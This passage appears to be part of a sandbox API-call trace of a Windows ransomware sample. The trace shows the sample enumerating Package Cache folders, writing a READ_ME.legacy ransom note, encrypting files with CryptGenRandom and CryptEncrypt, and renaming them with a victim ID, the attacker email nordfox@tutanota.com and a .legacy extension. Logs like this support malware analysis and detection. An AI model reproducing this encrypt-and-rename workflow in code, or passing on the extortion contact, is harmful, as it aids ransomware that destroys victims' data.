0x12 [0115.546] SetLastError (dwErrCode=0x12) [0115.546] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x5646a8 [0115.546] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x648 [0115.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0115.553] WriteFile (in: hFile=0x648, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.554] CloseHandle (hObject=0x648) returned 1 [0115.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0115.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0115.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0115.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0115.554] FindNextFileW (in: hFindFile=0x5c6698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db0dbf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2db0dbf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0115.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0115.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0115.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0115.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.555] GetLastError () returned 0x0 [0115.555] SetLastError (dwErrCode=0x0) [0115.555] GetLastError () returned 0x0 [0115.555] SetLastError (dwErrCode=0x0) [0115.555] GetLastError () returned 0x0 [0115.555] SetLastError (dwErrCode=0x0) [0115.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.555] FindNextFileW (in: hFindFile=0x5c6698, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db0dbf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2db0dbf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6e68 [0115.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82b0 | out: hHeap=0x520000) returned 1 [0115.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0115.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0115.556] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6758 [0115.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0115.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0115.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c38 | out: hHeap=0x520000) returned 1 [0115.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0115.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.556] GetLastError () returned 0x12 [0115.556] SetLastError (dwErrCode=0x12) [0115.556] GetLastError () returned 0x12 [0115.556] SetLastError (dwErrCode=0x12) [0115.557] GetLastError () returned 0x12 [0115.557] SetLastError (dwErrCode=0x12) [0115.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0115.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0115.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0115.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5fd8 [0115.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5fd8 | out: hHeap=0x520000) returned 1 [0115.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0115.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0115.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0115.557] FindNextFileW (in: hFindFile=0x5c6758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0115.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5790b8 [0115.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5790b8 | out: hHeap=0x520000) returned 1 [0115.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0115.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.558] GetLastError () returned 0x12 [0115.558] SetLastError (dwErrCode=0x12) [0115.558] GetLastError () returned 0x12 [0115.558] SetLastError (dwErrCode=0x12) [0115.558] GetLastError () returned 0x12 [0115.558] SetLastError (dwErrCode=0x12) [0115.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0115.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5fd8 [0115.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5fd8 | out: hHeap=0x520000) returned 1 [0115.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0115.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0115.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.559] FindNextFileW (in: hFindFile=0x5c6758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dd7185, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dd7185, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0115.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0115.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0115.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0115.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.559] GetLastError () returned 0x12 [0115.559] SetLastError (dwErrCode=0x12) [0115.559] GetLastError () returned 0x12 [0115.559] SetLastError (dwErrCode=0x12) [0115.559] GetLastError () returned 0x12 [0115.559] SetLastError (dwErrCode=0x12) [0115.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.560] FindNextFileW (in: hFindFile=0x5c6758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0115.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0115.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0115.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0115.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0115.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.560] GetLastError () returned 0x12 [0115.560] SetLastError (dwErrCode=0x12) [0115.560] GetLastError () returned 0x12 [0115.560] SetLastError (dwErrCode=0x12) [0115.560] GetLastError () returned 0x12 [0115.560] SetLastError (dwErrCode=0x12) [0115.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0115.561] FindNextFileW (in: hFindFile=0x5c6758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0115.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0115.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b18 [0115.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b18 | out: hHeap=0x520000) returned 1 [0115.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0115.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.561] GetLastError () returned 0x12 [0115.561] SetLastError (dwErrCode=0x12) [0115.561] GetLastError () returned 0x12 [0115.562] SetLastError (dwErrCode=0x12) [0115.562] GetLastError () returned 0x12 [0115.562] SetLastError (dwErrCode=0x12) [0115.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0115.562] FindNextFileW (in: hFindFile=0x5c6758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0115.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7958 [0115.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.562] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.562] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0115.562] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", dwFileAttributes=0x80) returned 1 [0115.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7a10 [0115.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x5856e8 [0115.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7a10 | out: hHeap=0x520000) returned 1 [0115.563] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64c [0115.563] GetFileSizeEx (in: hFile=0x64c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=455720) returned 1 [0115.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f428) returned 0x2e20fd8 [0115.569] ReadFile (in: hFile=0x64c, lpBuffer=0x2e20fd8, nNumberOfBytesToRead=0x6f428, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x6f428, lpOverlapped=0x0) returned 1 [0115.600] SetFilePointer (in: hFile=0x64c, lDistanceToMove=-455720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.600] WriteFile (in: hFile=0x64c, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x6f428, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6f428, lpOverlapped=0x0) returned 1 [0115.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0115.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0115.617] SetFilePointer (in: hFile=0x64c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6f428 [0115.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.618] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.618] WriteFile (in: hFile=0x64c, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.618] WriteFile (in: hFile=0x64c, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.618] CloseHandle (hObject=0x64c) returned 1 [0115.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0115.619] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5856e8 | out: hHeap=0x520000) returned 1 [0115.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7958 | out: hHeap=0x520000) returned 1 [0115.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0115.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0115.623] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", dwFileAttributes=0x80) returned 1 [0115.624] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64c [0115.624] GetFileSizeEx (in: hFile=0x64c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=626) returned 1 [0115.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x272) returned 0x555b90 [0115.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x272) returned 0x2f40050 [0115.625] ReadFile (in: hFile=0x64c, lpBuffer=0x555b90, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x272, lpOverlapped=0x0) returned 1 [0115.626] SetFilePointer (in: hFile=0x64c, lDistanceToMove=-626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.626] WriteFile (in: hFile=0x64c, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x272, lpOverlapped=0x0) returned 1 [0115.626] SetFilePointer (in: hFile=0x64c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x272 [0115.626] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.626] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.627] WriteFile (in: hFile=0x64c, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.642] WriteFile (in: hFile=0x64c, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.642] CloseHandle (hObject=0x64c) returned 1 [0115.642] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0115.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0115.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0115.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e81f8 [0115.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6e68 | out: hHeap=0x520000) returned 1 [0115.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0115.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c98 | out: hHeap=0x520000) returned 1 [0115.645] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6118 [0115.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0115.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ba8 [0115.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0115.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0115.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0115.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0115.645] GetLastError () returned 0x0 [0115.645] SetLastError (dwErrCode=0x0) [0115.646] GetLastError () returned 0x0 [0115.646] SetLastError (dwErrCode=0x0) [0115.646] GetLastError () returned 0x0 [0115.646] SetLastError (dwErrCode=0x0) [0115.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0115.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0115.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5fd8 [0115.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 